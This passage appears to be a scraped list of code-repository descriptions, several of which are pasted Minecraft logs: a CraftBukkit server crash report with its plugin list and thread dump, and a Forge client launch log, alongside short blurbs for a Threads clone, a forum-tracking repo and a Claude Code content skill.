IMojangStatistics, ICommandHandler, ...], [org.bukkit.BlockChangeDelegate, World, Server, ...], [org.bukkit.block.BlockState, BlockFace, Block, ...], [org.bukkit.command.CommandSender, RemoteConsoleCommandSender, CommandException, ...], [org.bukkit.command.defaults.VanillaCommand, SaveCommand, SaveOnCommand, ...], [org.bukkit.configuration.ConfigurationSection, Configuration, MemorySection, ...], [org.bukkit.configuration.file.FileConfiguration, YamlConfiguration, FileConfigurationOptions, ...], [org.bukkit.configuration.serialization.ConfigurationSerializable, ConfigurationSerialization, DelegateDeserialization, ...], [org.bukkit.conversations.Conversable, ConversationCanceller, Prompt, ...], [org.bukkit.craftbukkit.Main], [org.bukkit.craftbukkit.libs.com.google.gson.JsonDeserializer, JsonParseException, GsonBuilder, ...], [org.bukkit.craftbukkit.libs.com.google.gson.annotations.SerializedName], [org.bukkit.craftbukkit.libs.com.google.gson.internal.Excluder, $Gson$Preconditions, $Gson$Types, ...], [org.bukkit.craftbukkit.libs.com.google.gson.internal.bind.JsonTreeReader, JsonTreeWriter, TypeAdapters, ...], [org.bukkit.craftbukkit.libs.com.google.gson.reflect.TypeToken], [org.bukkit.craftbukkit.libs.com.google.gson.stream.JsonReader, JsonWriter, MalformedJsonException, ...], [org.bukkit.craftbukkit.libs.jline.Terminal, TerminalSupport, UnsupportedTerminal, ...], [org.bukkit.craftbukkit.libs.jline.console.ConsoleReader, CursorBuffer, ConsoleKeys, ...], [org.bukkit.craftbukkit.libs.jline.console.completer.CompletionHandler, CandidateListCompletionHandler], [org.bukkit.craftbukkit.libs.jline.console.history.History, MemoryHistory], [org.bukkit.craftbukkit.libs.jline.internal.InputStreamReader, Configuration, Log], [org.bukkit.craftbukkit.v1_6_R1.LoggerOutputStream, CraftServer, CraftOfflinePlayer, ...], [org.bukkit.craftbukkit.v1_6_R1.block.CraftBlock, CraftBlockState, CraftSign, ...], [org.bukkit.craftbukkit.v1_6_R1.chunkio.ChunkIOExecutor, ChunkIOProvider, QueuedChunk], [org.bukkit.craftbukkit.v1_6_R1.command.ServerCommandSender, CraftConsoleCommandSender, ColouredConsoleSender, ...], [org.bukkit.craftbukkit.v1_6_R1.conversations.ConversationTracker], [org.bukkit.craftbukkit.v1_6_R1.enchantments.CraftEnchantment], [org.bukkit.craftbukkit.v1_6_R1.entity.CraftEntity, CraftLivingEntity, CraftHumanEntity, ...], [org.bukkit.craftbukkit.v1_6_R1.event.CraftEventFactory], [org.bukkit.craftbukkit.v1_6_R1.generator.InternalChunkGenerator, CustomChunkGenerator, NormalChunkGenerator, ...], [org.bukkit.craftbukkit.v1_6_R1.help.SimpleHelpMap, CommandAliasHelpTopic, HelpYamlReader, ...], [org.bukkit.craftbukkit.v1_6_R1.inventory.CraftItemStack, CraftRecipe, CraftShapedRecipe, ...], [org.bukkit.craftbukkit.v1_6_R1.metadata.EntityMetadataStore, PlayerMetadataStore, WorldMetadataStore, ...], [org.bukkit.craftbukkit.v1_6_R1.potion.CraftPotionEffectType, CraftPotionBrewer], [org.bukkit.craftbukkit.v1_6_R1.scheduler.CraftScheduler, CraftTask, CraftAsyncTask, ...], [org.bukkit.craftbukkit.v1_6_R1.scoreboard.CraftScoreboardManager, CraftScoreboard, CraftScoreboardTranslations, ...], [org.bukkit.craftbukkit.v1_6_R1.updater.AutoUpdater, BukkitDLUpdaterService, DateDeserializer, ...], [org.bukkit.craftbukkit.v1_6_R1.util.ServerShutdownThread, Waitable, TerminalConsoleHandler, ...], [org.bukkit.enchantments.Enchantment, EnchantmentWrapper], [org.bukkit.entity.Entity, Damageable, LivingEntity, ...], [org.bukkit.entity.minecart.PoweredMinecart, StorageMinecart, ExplosiveMinecart, ...], [org.bukkit.event.Event, Cancellable, Listener, ...], [org.bukkit.event.block.BlockEvent, BlockFadeEvent, BlockGrowEvent, ...], [org.bukkit.event.enchantment.EnchantItemEvent, PrepareItemEnchantEvent], [org.bukkit.event.entity.EntityEvent, EntityInteractEvent, EntityDamageEvent, ...], [org.bukkit.event.hanging.HangingEvent, HangingPlaceEvent, HangingBreakEvent, ...], [org.bukkit.event.inventory.InventoryMoveItemEvent, InventoryEvent, PrepareItemCraftEvent, ...], [org.bukkit.event.painting.PaintingEvent, PaintingPlaceEvent, PaintingBreakEvent, ...], [org.bukkit.event.player.PlayerEvent, PlayerFishEvent, PlayerJoinEvent, ...], [org.bukkit.event.server.ServerEvent, MapInitializeEvent, ServerCommandEvent, ...], [org.bukkit.event.vehicle.VehicleEvent, VehicleCollisionEvent, VehicleBlockCollisionEvent, ...], [org.bukkit.event.weather.WeatherEvent, ThunderChangeEvent, WeatherChangeEvent, ...], [org.bukkit.event.world.WorldEvent, WorldInitEvent, WorldSaveEvent, ...], [org.bukkit.generator.ChunkGenerator], [org.bukkit.help.HelpMap, HelpTopic, IndexHelpTopic, ...], [org.bukkit.inventory.ItemStack, Inventory, Recipe, ...], [org.bukkit.inventory.meta.ItemMeta, Repairable, BookMeta, ...], [org.bukkit.map.MapView, MapFont, MinecraftFont, ...], [org.bukkit.material.MaterialData, Tree, Directional, ...], [org.bukkit.metadata.Metadatable, MetadataStore, MetadataStoreBase], [org.bukkit.permissions.ServerOperator, Permissible, PermissionDefault, ...], [org.bukkit.plugin.ServicesManager, PluginManager, SimpleServicesManager, ...], [org.bukkit.plugin.java.JavaPluginLoader, PluginClassLoader, JavaPlugin], [org.bukkit.plugin.messaging.PluginMessageRecipient, Messenger, StandardMessenger, ...], [org.bukkit.potion.PotionEffectType, PotionEffectTypeWrapper, PotionBrewer, ...], [org.bukkit.scheduler.BukkitScheduler, BukkitTask, BukkitWorker], [org.bukkit.scoreboard.ScoreboardManager, DisplaySlot, Scoreboard, ...], [org.bukkit.util.Vector, BlockVector, Java15Compat, ...], [org.bukkit.util.permissions.DefaultPermissions, CommandPermissions, BroadcastPermissions], [org.fusesource.jansi.Ansi, NoAnsi, Attribute, ...], [org.json.simple.JSONAware, JSONStreamAware, JSONObject, ...], [org.json.simple.parser.ParseException, JSONParser, Yylex, ...], [org.sqlite.JDBC, Conn, SQLiteConfig, ...], [org.yaml.snakeyaml.DumperOptions, ScalarStyle, FlowStyle, ...], [org.yaml.snakeyaml.composer.Composer, ComposerException], [org.yaml.snakeyaml.constructor.BaseConstructor, SafeConstructor, Constructor, ...], [org.yaml.snakeyaml.emitter.Emitable, Emitter, EmitterState, ...], [org.yaml.snakeyaml.error.YAMLException, MarkedYAMLException, Mark], [org.yaml.snakeyaml.events.Event, NodeEvent, ScalarEvent, ...], [org.yaml.snakeyaml.external.com.google.gdata.util.common.base.Escaper, UnicodeEscaper, PercentEscaper], [org.yaml.snakeyaml.introspector.PropertyUtils, BeanAccess, Property, ...], [org.yaml.snakeyaml.nodes.Node, CollectionNode, MappingNode, ...], [org.yaml.snakeyaml.parser.Parser, ParserImpl, Production, ...], [org.yaml.snakeyaml.reader.UnicodeReader, StreamReader, ReaderException], [org.yaml.snakeyaml.representer.BaseRepresenter, SafeRepresenter, Representer, ...], [org.yaml.snakeyaml.resolver.Resolver, ResolverTuple], [org.yaml.snakeyaml.scanner.Scanner, ScannerImpl, ScannerException, ...], [org.yaml.snakeyaml.serializer.Serializer, SerializerException], [org.yaml.snakeyaml.tokens.Token, AliasToken, ScalarToken, ...], [org.yaml.snakeyaml.util.UriEncoder, ArrayStack] IntCache: cache: 0, tcache: 0, allocated: 1, tallocated: 63 CraftBukkit Information: Running: CraftBukkit version git-Bukkit-1.5.2-R1.0-2-ga359c7f-b2794jnks (MC: 1.6.1) (Implementing API version 1.6.1-R0.1-SNAPSHOT) true Plugins: { WorldBorder v1.7.2 com.wimbli.WorldBorder.WorldBorder [Brettflan], WorldEdit v5.5.7 com.sk89q.worldedit.bukkit.WorldEditPlugin [], BukkitCompat vR22A com.mcmyadmin.bukkitcompat.BukkitCompat [PhonicUK], BattleTracker v2.5.3.7.1 mc.alk.tracker.Tracker [alkarin], SwearFilter v1.0 me.FibreGuy.MainClass [], mcore v6.4.2 com.massivecraft.mcore.MCore [Cayorion], VoteMe v3.0 me.RobTheBig.VoteMe.VoteMe [], War v1.8-PREVIEW (Nimitz) com.tommytony.war.War [tommytony], Vault v1.2.25-b320 net.milkbowl.vault.Vault [cereal, Sleaker, mung3r], PlayerHeads v3.2-jenkins-PlayerHeads-1-11-gb37e970 org.shininet.bukkit.playerheads.PlayerHeads [meiskam, zand], PermissionsEx v1.19.5 ru.tehkode.permissions.bukkit.PermissionsEx [t3hk0d3], PlotMe v0.13b com.worldcretornica.plotme.PlotMe [ZachBora], Multiverse-Core v2.4-b527 com.onarandombox.MultiverseCore.MultiverseCore [Rigby, fernferret, lithium3141, main--], HealthBar v1.6 com.gmail.filoghost.healthbar.Main [filoghost], TPCoords v1.2 me.thebutlah.tpcoords.TPCoords [], WorldGuard v5.7.3 com.sk89q.worldguard.bukkit.WorldGuardPlugin [], PwingArmory v0.0.2 me.Cronos79.PwingArmory.PwingArmory [Cronos79, Tara81], SurvivalGames v0.5.8.42 org.mcsg.survivalgames.SurvivalGames [Double0negative], Announcer v1.3.4 me.declanmc96.Announcer.announcer [declanmc96], ItemRenamer v1.0.6 net.bukkit.faris.itemrenamer.ItemRenamer [KingFaris10], TreasureChest v8.4.1 com.mtihc.minecraft.treasurechest.v8.plugin.TreasureChestPlugin [Mtihc], CapsLock v1.0.3 net.mysticrealms.fireworks.capslock.CapsLock [Fireworks], Modifyworld v1.19.4 ru.tehkode.modifyworld.bukkit.Modifyworld [t3hk0d3], Votifier v1.9 com.vexsoftware.votifier.Votifier [blakeman8192, Kramer], Essentials v2.10.1 com.earth2me.essentials.Essentials [Zenexer, ementalo, Aelux, Brettflan, KimKandor, snowleo, ceulemans, Xeology, KHobbits, md_5, Iaccidentally], EssentialsProtect v2.10.1 com.earth2me.essentials.protect.EssentialsProtect [Zenexer, ementalo, Aelux, Brettflan, KimKandor, snowleo, ceulemans, Xeology, KHobbits], EssentialsSpawn v2.10.1 com.earth2me.essentials.spawn.EssentialsSpawn [Zenexer, ementalo, Aelux, Brettflan, KimKandor, snowleo, ceulemans, Xeology, KHobbits], Multiverse-Portals v2.4-b548 com.onarandombox.MultiversePortals.MultiversePortals [Rigby, fernferret], Multiverse-Inventories v2.5-b335 com.onarandombox.multiverseinventories.MultiverseInventories [dumptruckman], Enjin Minecraft Plugin v2.4.5-bukkit com.enjin.officialplugin.EnjinMinecraftPlugin [www.Enjin.com], EssentialsChat v2.10.1 com.earth2me.essentials.chat.EssentialsChat [Zenexer, ementalo, Aelux, Brettflan, KimKandor, snowleo, ceulemans, Xeology, KHobbits, md_5, Okamosy, Iaccidentally], Factions v2.0.2 com.massivecraft.factions.Factions [Cayorion, Brettflan],} Warnings: DEFAULT Threads: { TIMED_WAITING com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#1: [java.lang.Object.wait(Native Method), com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:534)], RUNNABLE Thread-12: [java.net.PlainSocketImpl.socketAccept(Native Method), java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398), java.net.ServerSocket.implAccept(ServerSocket.java:522), java.net.ServerSocket.accept(ServerSocket.java:490), com.vexsoftware.votifier.net.VoteReceiver.run(VoteReceiver.java:114)], TIMED_WAITING com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#0: [java.lang.Object.wait(Native Method), com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:534)], TIMED_WAITING Connection #2290 write thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:38)], TIMED_WAITING Connection #2602 write thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:38)], TIMED_WAITING Timer-0: [java.lang.Object.wait(Native Method), java.util.TimerThread.mainLoop(Timer.java:552), java.util.TimerThread.run(Timer.java:505)], WAITING Finalizer: [java.lang.Object.wait(Native Method), java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135), java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151), java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:177)], TIMED_WAITING Thread-4: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.ThreadSleepForever.run(SourceFile:64)], RUNNABLE Thread-5: [java.io.FileInputStream.readBytes(Native Method), java.io.FileInputStream.read(FileInputStream.java:242), java.io.BufferedInputStream.fill(BufferedInputStream.java:235), java.io.BufferedInputStream.read(BufferedInputStream.java:254), java.io.FilterInputStream.read(FilterInputStream.java:83), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader$1.read(ConsoleReader.java:167), org.bukkit.craftbukkit.libs.jline.internal.InputStreamReader.read(InputStreamReader.java:267), org.bukkit.craftbukkit.libs.jline.internal.InputStreamReader.read(InputStreamReader.java:204), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader.readCharacter(ConsoleReader.java:995), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader.readLineSimple(ConsoleReader.java:1506), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader.readLine(ConsoleReader.java:1153), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader.readLine(ConsoleReader.java:1117), org.bukkit.craftbukkit.libs.jline.console.ConsoleReader.readLine(ConsoleReader.java:1105), net.minecraft.server.v1_6_R1.ThreadCommandReader.run(ThreadCommandReader.java:33)], TIMED_WAITING pool-1-thread-759: [sun.misc.Unsafe.park(Native Method), java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226), java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460), java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359), java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942), java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1043), java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1103), java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603), java.lang.Thread.run(Thread.java:722)], WAITING MV-Inv Profile Write Thread: [sun.misc.Unsafe.park(Native Method), java.util.concurrent.locks.LockSupport.park(LockSupport.java:186), java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043), java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442), com.onarandombox.multiverseinventories.util.data.FlatFilePlayerData$FileWriteThread.run(FlatFilePlayerData.java:208)], WAITING Chunk I/O Executor Thread-1: [sun.misc.Unsafe.park(Native Method), java.util.concurrent.locks.LockSupport.park(LockSupport.java:186), java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043), java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442), java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1043), java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1103), java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603), java.lang.Thread.run(Thread.java:722)], WAITING Reference Handler: [java.lang.Object.wait(Native Method), java.lang.Object.wait(Object.java:503), java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133)], RUNNABLE Server thread: [java.lang.Thread.dumpThreads(Native Method), java.lang.Thread.getAllStackTraces(Thread.java:1618), org.bukkit.craftbukkit.v1_6_R1.CraftCrashReport.call(CraftCrashReport.java:28), net.minecraft.server.v1_6_R1.CrashReportSystemDetails.a(SourceFile:74), net.minecraft.server.v1_6_R1.CrashReport.h(CrashReport.java:41), net.minecraft.server.v1_6_R1.CrashReport.<init>(CrashReport.java:28), net.minecraft.server.v1_6_R1.CrashReport.a(CrashReport.java:212), net.minecraft.server.v1_6_R1.World.tickEntities(World.java:1225), net.minecraft.server.v1_6_R1.WorldServer.tickEntities(WorldServer.java:480), net.minecraft.server.v1_6_R1.MinecraftServer.t(MinecraftServer.java:573), net.minecraft.server.v1_6_R1.DedicatedServer.t(DedicatedServer.java:226), net.minecraft.server.v1_6_R1.MinecraftServer.s(MinecraftServer.java:487), net.minecraft.server.v1_6_R1.MinecraftServer.run(MinecraftServer.java:420), net.minecraft.server.v1_6_R1.ThreadServerApplication.run(SourceFile:582)], RUNNABLE Connection #2612 write thread: [net.minecraft.v1_6_R1.org.bouncycastle.crypto.engines.AESFastEngine.processBlock(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.modes.CFBBlockCipher.encryptBlock(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.modes.CFBBlockCipher.processBlock(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.BufferedBlockCipher.processBytes(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherOutputStream.write(Unknown Source), java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82), java.io.BufferedOutputStream.write(BufferedOutputStream.java:121), java.io.DataOutputStream.write(DataOutputStream.java:107), net.minecraft.server.v1_6_R1.Packet56MapChunkBulk.a(Packet56MapChunkBulk.java:157), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:138), net.minecraft.server.v1_6_R1.NetworkManager.h(NetworkManager.java:101), net.minecraft.server.v1_6_R1.NetworkManager.d(NetworkManager.java:351), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:21)], TIMED_WAITING Connection #2418 write thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:38)], RUNNABLE Listen thread: [java.net.PlainSocketImpl.socketAccept(Native Method), java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398), java.net.ServerSocket.implAccept(ServerSocket.java:522), java.net.ServerSocket.accept(ServerSocket.java:490), net.minecraft.server.v1_6_R1.DedicatedServerConnectionThread.run(DedicatedServerConnectionThread.java:59)], TIMED_WAITING com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#2: [java.lang.Object.wait(Native Method), com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:534)], RUNNABLE Connection #2596 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], RUNNABLE Connection #2602 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], RUNNABLE Signal Dispatcher: [], RUNNABLE DestroyJavaVM: [], TIMED_WAITING Snooper Timer: [java.lang.Object.wait(Native Method), java.util.TimerThread.mainLoop(Timer.java:552), java.util.TimerThread.run(Timer.java:505)], TIMED_WAITING pool-1-thread-752: [sun.misc.Unsafe.park(Native Method), java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226), java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460), java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359), java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942), java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1043), java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1103), java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603), java.lang.Thread.run(Thread.java:722)], RUNNABLE Connection #2612 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], TIMED_WAITING Connection #2448 write thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:38)], RUNNABLE Connection #2448 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], WAITING PermissionsEx-Cleaner: [java.lang.Object.wait(Native Method), java.lang.Object.wait(Object.java:503), java.util.TimerThread.mainLoop(Timer.java:526), java.util.TimerThread.run(Timer.java:505)], RUNNABLE Connection #2290 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], TIMED_WAITING MStore ExamineThread: [java.lang.Thread.sleep(Native Method), com.massivecraft.mcore.store.ExamineThread.run(ExamineThread.java:55)], RUNNABLE Connection #2418 read thread: [java.net.SocketInputStream.socketRead0(Native Method), java.net.SocketInputStream.read(SocketInputStream.java:150), java.net.SocketInputStream.read(SocketInputStream.java:121), java.io.FilterInputStream.read(FilterInputStream.java:133), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.nextChunk(Unknown Source), net.minecraft.v1_6_R1.org.bouncycastle.crypto.io.CipherInputStream.read(Unknown Source), java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288), net.minecraft.server.v1_6_R1.Packet.a(Packet.java:96), net.minecraft.server.v1_6_R1.NetworkManager.i(NetworkManager.java:193), net.minecraft.server.v1_6_R1.NetworkManager.c(NetworkManager.java:347), net.minecraft.server.v1_6_R1.NetworkReaderThread.run(SourceFile:93)], TIMED_WAITING File IO Thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.FileIOThread.b(SourceFile:44), net.minecraft.server.v1_6_R1.FileIOThread.run(SourceFile:23), java.lang.Thread.run(Thread.java:722)], TIMED_WAITING pool-1-thread-760: [sun.misc.Unsafe.park(Native Method), java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226), java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460), java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359), java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942), java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1043), java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1103), java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603), java.lang.Thread.run(Thread.java:722)], TIMED_WAITING Connection #2596 write thread: [java.lang.Thread.sleep(Native Method), net.minecraft.server.v1_6_R1.NetworkWriterThread.run(NetworkWriterThread.java:38)],} Recent tasks from 1302947-1302977{Enjin Minecraft Plugin:com.enjin.officialplugin.threaded.PeriodicVoteTask@1302989,Enjin Minecraft Plugin:com.enjin.officialplugin.tpsmeter.MonitorTPS@1302989,WorldEdit:com.sk89q.worldedit.bukkit.SessionTimer@1302989,} Profiler Position: N/A (disabled) Vec3 Pool Size: ~~ERROR~~ NullPointerException: null Player Count: 6 / 40; [EntityPlayer['Sto0ge'/25425658, l='SG', x=11.35, y=62.00, z=10.74](Sto0ge at 11.345391638242058,62.0,10.742800038547719), EntityPlayer['FlamedDiamond'/26855622, l='SG', x=-3.30, y=97.17, z=64.96](FlamedDiamond at -3.3000000119209325,97.1707870772188,64.96266148772278), EntityPlayer['MinemasterZXQ'/28592368, l='wild', x=155.15, y=10.00, z=460.70](MinemasterZXQ at 155.14901584467503,10.0,460.69999998807907), EntityPlayer['tthan'/28600651, l='wild', x=-55.52, y=69.70, z=38.70](tthan at -55.52068873012064,69.7000000178814,38.699999988079064), EntityPlayer['empise_WIN'/23683765, l='wild', x=157.38, y=10.00, z=473.58](empise_WIN at 157.38440226393405,10.0,473.58445274915766), EntityPlayer['BigMike65'/28621871, l='spawn', x=-1819.72, y=63.00, z=-1800.48](BigMike65 at -1819.724397379612,63.0,-1800.4823723305442)] Is Modded: Definitely; Server brand changed to 'craftbukkit' Type: Dedicated Server (map_server.txt)
sanidhyy
A Next.js 13 Meta Threads application.
Clarissa-Valentine-Z
Mainly text-only offsite repo to track changes for a forum thread: https://forum.nationstates.net/viewtopic.php?f=13&t=88
arome3
Claude Code skill that transforms codebases into developer content. 5-phase gated workflow, 3 specialized agents, 13 slash commands. Generate blog posts, tutorials, Twitter threads, LinkedIn posts, READMEs, newsletters, video scripts, and conference talks—all grounded in actual code.
v9l9
[21Sep2020 05:55:44.354] [main/INFO] [cpw.mods.modlauncher.Launcher/MODLAUNCHER]: ModLauncher running: args [--username, V9l9, --version, 1.16.3-forge-34.0.9, --gameDir, C:\Users\Lenovo\AppData\Roaming\.minecraft, --assetsDir, C:\Users\Lenovo\AppData\Roaming\.minecraft\assets, --assetIndex, 1.16, --uuid, 1165d438a45a4585ac728e78d6848fbb, --accessToken, ????????, --userType, mojang, --versionType, release, --launchTarget, fmlclient, --fml.forgeVersion, 34.0.9, --fml.mcVersion, 1.16.3, --fml.forgeGroup, net.minecraftforge, --fml.mcpVersion, 20200911.084530] [21Sep2020 05:55:44.359] [main/INFO] [cpw.mods.modlauncher.Launcher/MODLAUNCHER]: ModLauncher 7.0.1+78+master.e9771d8 starting: java version 1.8.0_51 by Oracle Corporation [21Sep2020 05:55:44.378] [main/DEBUG] [cpw.mods.modlauncher.LaunchServiceHandler/MODLAUNCHER]: Found launch services [minecraft,testharness,fmlclient,fmlserver] [21Sep2020 05:55:44.394] [main/DEBUG] [cpw.mods.modlauncher.NameMappingServiceHandler/MODLAUNCHER]: Found naming services : [] [21Sep2020 05:55:44.475] [main/DEBUG] [cpw.mods.modlauncher.LaunchPluginHandler/MODLAUNCHER]: Found launch plugins: [mixin,eventbus,object_holder_definalize,runtime_enum_extender,accesstransformer,capability_inject_definalize,runtimedistcleaner] [21Sep2020 05:55:44.491] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Discovering transformation services [21Sep2020 05:55:44.515] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Found additional transformation services from discovery services: [] [21Sep2020 05:55:44.604] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Found transformer services : [mixin,fml] [21Sep2020 05:55:44.605] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Transformation services loading [21Sep2020 05:55:44.606] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Loading service mixin [21Sep2020 05:55:44.606] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Loaded service mixin [21Sep2020 05:55:44.606] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Loading service fml [21Sep2020 05:55:44.606] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/]: 